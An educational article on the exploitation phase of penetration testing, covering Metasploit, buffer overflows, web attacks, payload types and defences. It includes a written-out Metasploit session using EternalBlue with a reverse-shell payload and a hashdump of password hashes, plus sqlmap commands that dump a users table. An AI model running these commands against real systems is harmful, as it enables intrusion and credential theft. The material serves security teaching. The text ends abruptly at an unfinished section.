Introduction
Exploitation is the third phase of a penetration test, where the tester attempts to leverage discovered vulnerabilities to gain unauthorized access to systems, data, or functionality. The goal is not to cause damage, but to demonstrate the real-world impact of identified vulnerabilities -- proving that a theoretical weakness can actually be exploited and quantifying the risk to the organization.
Exploitation in a professional penetration test is fundamentally different from malicious hacking. Every action is authorized, documented, and conducted with safeguards to prevent unintended damage. Testers carefully select exploits that are unlikely to cause denial of service or data corruption, and they coordinate closely with the client's IT team to ensure critical systems are protected.
The exploitation phase requires deep technical knowledge across multiple domains: networking, operating systems, web technologies, programming, and cryptography. It also requires sound judgment -- knowing which exploits are safe to use in a production environment, when to stop, and how to document findings for maximum remediation value.
"The purpose of exploitation in a penetration test is not to show how clever the tester is, but to demonstrate risk in terms the business can understand and act upon." -- Peter Kim, The Hacker Playbook
The Exploitation Process
Professional exploitation follows a structured, methodical process. Randomly firing exploits at targets is both dangerous and ineffective. Instead, testers build on the detailed intelligence gathered during reconnaissance and scanning to carefully select and execute appropriate exploits.
Vulnerability Verification
Before attempting exploitation, testers verify that identified vulnerabilities are genuine and not false positives from automated scanners. Verification methods include:
- Banner analysis -- confirming that the software version reported by service banners matches versions known to be vulnerable
- Manual testing -- sending crafted requests to verify that the application behaves in a way consistent with the reported vulnerability
- Safe checks -- many exploitation frameworks include "check" functions that verify vulnerability without actually exploiting it
- Cross-referencing -- comparing scanner results against CVE databases, vendor advisories, and exploit databases to confirm applicability
Exploit Selection and Customization
Once a vulnerability is verified, the tester selects an appropriate exploit. Key considerations include:
- Reliability -- prefer exploits with high success rates and minimal side effects
- Stability -- avoid exploits that may crash the target service or cause data loss
- Detection -- consider whether the exploit will trigger security controls (this may or may not be desirable depending on the engagement scope)
- Environment compatibility -- ensure the exploit matches the exact target OS, architecture, and software version
| Exploit Source | Description | Reliability |
|---|---|---|
| Metasploit Framework | Curated, tested exploit modules with standardized interfaces | High -- community reviewed and maintained |
| Exploit-DB | Public archive of proof-of-concept exploits | Variable -- raw PoCs may need modification |
| Vendor Advisories | Technical details from software vendors | N/A -- advisories, not exploits |
| GitHub/Research | Individual researcher publications | Variable -- quality varies widely |
| Custom Development | Exploits written specifically for the engagement | Depends on developer skill |
The Metasploit Framework
The Metasploit Framework is the most widely used exploitation framework in the penetration testing industry. Originally created by H.D. Moore in 2003 as a portable network tool written in Perl, it was rewritten in Ruby and acquired by Rapid7 in 2009. Metasploit provides a structured environment for developing, testing, and executing exploits against target systems.
Architecture and Components
Metasploit is built around a modular architecture with five primary module types:
| Module Type | Purpose | Example |
|---|---|---|
| Exploits | Code that takes advantage of a vulnerability to deliver a payload | exploit/windows/smb/ms17_010_eternalblue |
| Payloads | Code that runs on the target after successful exploitation | windows/meterpreter/reverse_tcp |
| Auxiliary | Supporting modules for scanning, fuzzing, and enumeration | auxiliary/scanner/smb/smb_version |
| Post | Post-exploitation modules for data gathering and pivoting | post/windows/gather/hashdump |
| Encoders | Obfuscate payloads to evade signature-based detection | x86/shikata_ga_nai |
Usage in Authorized Testing
A typical Metasploit workflow during an authorized penetration test:
# Launch the Metasploit consolemsfconsole# Search for an exploit by CVE or keywordmsf6 > search type:exploit cve:2017-0144msf6 > search eternalblue# Select and configure an exploitmsf6 > use exploit/windows/smb/ms17_010_eternalbluemsf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50# Check if the target is vulnerable without exploitingmsf6 exploit(ms17_010_eternalblue) > check# Set the payloadmsf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp# Execute the exploitmsf6 exploit(ms17_010_eternalblue) > exploit# Post-exploitation: gather informationmeterpreter > sysinfometerpreter > getuidmeterpreter > hashdumpBuffer Overflow Theory
A buffer overflow occurs when a program writes data beyond the boundary of a fixed-size memory buffer, overwriting adjacent memory. Buffer overflows are among the oldest and most well-understood classes of software vulnerabilities, yet they continue to appear in modern software. Understanding buffer overflow mechanics is fundamental to both exploit development and secure coding practices.
Stack-Based Overflows
Stack-based buffer overflows exploit the way programs store local variables and function return addresses on the call stack. When a vulnerable function copies user-supplied input into a fixed-size stack buffer without bounds checking, an attacker can overwrite the function's return address. By carefully controlling the overwritten value, the attacker redirects execution to injected code (shellcode) or to existing code sequences in memory.
The classic stack overflow exploitation process:
- Identify the vulnerability -- find a function that copies input without checking length (e.g.,
strcpy,gets,sprintf) - Determine the offset -- calculate the exact number of bytes between the start of the buffer and the return address using pattern generation
- Control EIP/RIP -- overwrite the return address with a value that redirects execution
- Deliver shellcode -- place executable code in the buffer or elsewhere in memory and redirect execution to it
# Conceptual example of a vulnerable C function (educational purposes)# This demonstrates WHY bounds checking is criticalvoid vulnerable_function(char *input) { char buffer[64]; // Fixed-size buffer on the stack strcpy(buffer, input); // VULNERABLE: no length check // If input > 64 bytes, it overwrites the return address}// Secure alternative using bounds-checked functions:void secure_function(char *input) { char buffer[64]; strncpy(buffer, input, sizeof(buffer) - 1); // Length-limited buffer[sizeof(buffer) - 1] = '\0'; // Null-terminate}Heap-Based Overflows
Heap-based overflows target dynamically allocated memory. They are generally more complex to exploit than stack overflows because the heap's structure varies between allocator implementations and operating systems. Heap exploitation techniques include overwriting function pointers stored in heap metadata, corrupting heap management structures to achieve arbitrary writes, and exploiting use-after-free conditions.
Modern Memory Protections
Operating systems and compilers have implemented multiple defenses against buffer overflow exploitation:
| Protection | Mechanism | Bypass Technique |
|---|---|---|
| DEP/NX | Marks memory pages as non-executable | Return-Oriented Programming (ROP) |
| ASLR | Randomizes memory layout at each execution | Information leaks, brute-forcing (32-bit) |
| Stack Canaries | Places sentinel values before return addresses | Information leaks, format string attacks |
| SafeSEH/SEHOP | Validates exception handler chains (Windows) | Non-SafeSEH modules, heap-based techniques |
| CFI | Restricts valid indirect call targets | Implementation-specific weaknesses |
| PIE | Position-Independent Executables (full ASLR) | Information leaks required |
Web Application Exploitation
Web applications represent one of the largest attack surfaces in modern organizations. During authorized penetration tests, web application exploitation often yields the most impactful findings because web apps frequently handle sensitive data and provide access to backend systems.
Common web exploitation categories tested during engagements:
- SQL Injection -- manipulating database queries through unsanitized input to extract data, modify records, or execute commands. Tools:
sqlmap,Burp Suite. See SQL Injection Explained - Cross-Site Scripting (XSS) -- injecting client-side scripts into web pages viewed by other users. Can be reflected, stored, or DOM-based. See XSS Explained
- Authentication Bypass -- exploiting flaws in login mechanisms, session management, or access controls. See Authentication Explained
- Server-Side Request Forgery (SSRF) -- causing the server to make requests to unintended locations, potentially accessing internal resources
- Insecure Deserialization -- exploiting applications that deserialize untrusted data, potentially achieving remote code execution
- File Upload Vulnerabilities -- uploading malicious files (web shells, scripts) through inadequate upload validation
- Local/Remote File Inclusion -- including unauthorized files through path manipulation in file-loading functions
# SQL injection testing with sqlmap (authorized testing only)sqlmap -u "http://target.com/page?id=1" --dbssqlmap -u "http://target.com/page?id=1" -D database_name --tablessqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump# Web shell upload detection (defender's perspective)# Look for: .php, .jsp, .asp files in upload directories# Monitor: unusual outbound connections from web server processes# Check: file integrity monitoring alerts on web directoriesPayload Types and Delivery
A payload is the code that executes on the target system after a successful exploit. The choice of payload depends on the engagement objectives, network architecture, and detection avoidance requirements.
| Payload Type | Description | Use Case |
|---|---|---|
| Bind Shell | Opens a listening port on the target; attacker connects to it | Target has no egress filtering |
| Reverse Shell | Target connects back to the attacker's listener | Target behind NAT or egress-filtered (most common) |
| Meterpreter | Advanced in-memory payload with file system, networking, and pivoting capabilities | Comprehensive post-exploitation |
| Web Shell | Server-side script providing command execution via HTTP | Web server exploitation |
| Staged | Small initial payload downloads the full payload in a second stage | Size-constrained exploits |
| Stageless | Complete payload delivered in a single transmission | Fewer network connections needed |
Exploit Category Reference
The following table categorizes the major exploit families encountered during penetration testing, along with their typical targets and defensive countermeasures:
| Category | Target | Primary Defense |
|---|---|---|
| Buffer Overflows | C/C++ applications with unsafe memory operations | ASLR, DEP, stack canaries, memory-safe languages |
| SQL Injection | Database-backed web applications | Parameterized queries, input validation, WAFs |
| Cross-Site Scripting | Web applications rendering user input | Output encoding, Content Security Policy, input sanitization |
| Authentication Bypass | Login and session management mechanisms | Multi-factor authentication, secure session handling |
| Privilege Escalation | Operating system and application access controls | Least privilege, patching, configuration hardening |
| Social Engineering | Human users and organizational processes | Security awareness training, verification procedures |
| Misconfigurations | Default credentials, open services, overly permissive settings | Hardening guides, CIS Benchmarks, automated compliance |
Defensive Measures
Understanding exploitation is critical for defenders because it reveals how attackers turn vulnerabilities into actual compromise. Effective defenses operate at multiple layers:
- Patch management -- apply security updates promptly; most exploits target known, patched vulnerabilities
- Input validation -- validate and sanitize all user input at every trust boundary
- Least privilege -- run services with minimal permissions; limit user access to only what is required
- Network segmentation -- isolate critical systems to limit the impact of a successful exploit
- Endpoint Detection and Response (EDR) -- deploy behavioral detection to identify exploitation attempts and post-exploitation activity
- Web Application Firewalls (WAF) -- filter known attack patterns against web applications
- Security awareness training -- regular phishing simulations and security education for all employees
- Secure development practices -- code reviews, static analysis, dynamic testing, and secure coding standards
For the next phase of penetration testing, see Privilege Escalation. For background on the previous phase, see Scanning and Enumeration.
References
- Kennedy, D., O'Gorman, J., Kearns, D., & Aharoni, M. (2011). Metasploit: The Penetration Tester's Guide. No Starch Press.
- Erickson, J. (2008). Hacking: The Art of Exploitation, 2nd Edition. No Starch Press.
- Anley, C., Heasman, J., Lindner, F., & Richarte, G. (2007). The Shellcoder's Handbook, 2nd Edition. Wiley.
- Kim, P. (2018). The Hacker Playbook 3: Practical Guide To Penetration Testing. Secure Planet.
- Mitnick, K. D. (2002). The Art of Deception: Controlling the Human Element of Security. Wiley.
- OWASP. (2021). "OWASP Top 10 - 2021." Open Web Application Security Project.
- Aleph One. (1996). "Smashing the Stack for Fun and Profit." Phrack Magazine, Issue 49.
- MITRE ATT&CK. (2024). "Initial Access." Tactic TA0001. The MITRE Corporation.
- NIST SP 800-115. (2008). Technical Guide to Information Security Testing and Assessment. National Institute of Standards and Technology.
- Rapid7. (2024). Metasploit Framework Documentation.
Social Engineering
Social engineering exploits human psychology rather than technical vulnerabilities. In authorized penetration tests, social engineering assessments evaluate an organization's human security controls -- security awareness training effectiveness, phishing resilience, physical security procedures, and adherence to information handling policies.
Common social engineering techniques tested in authorized assessments: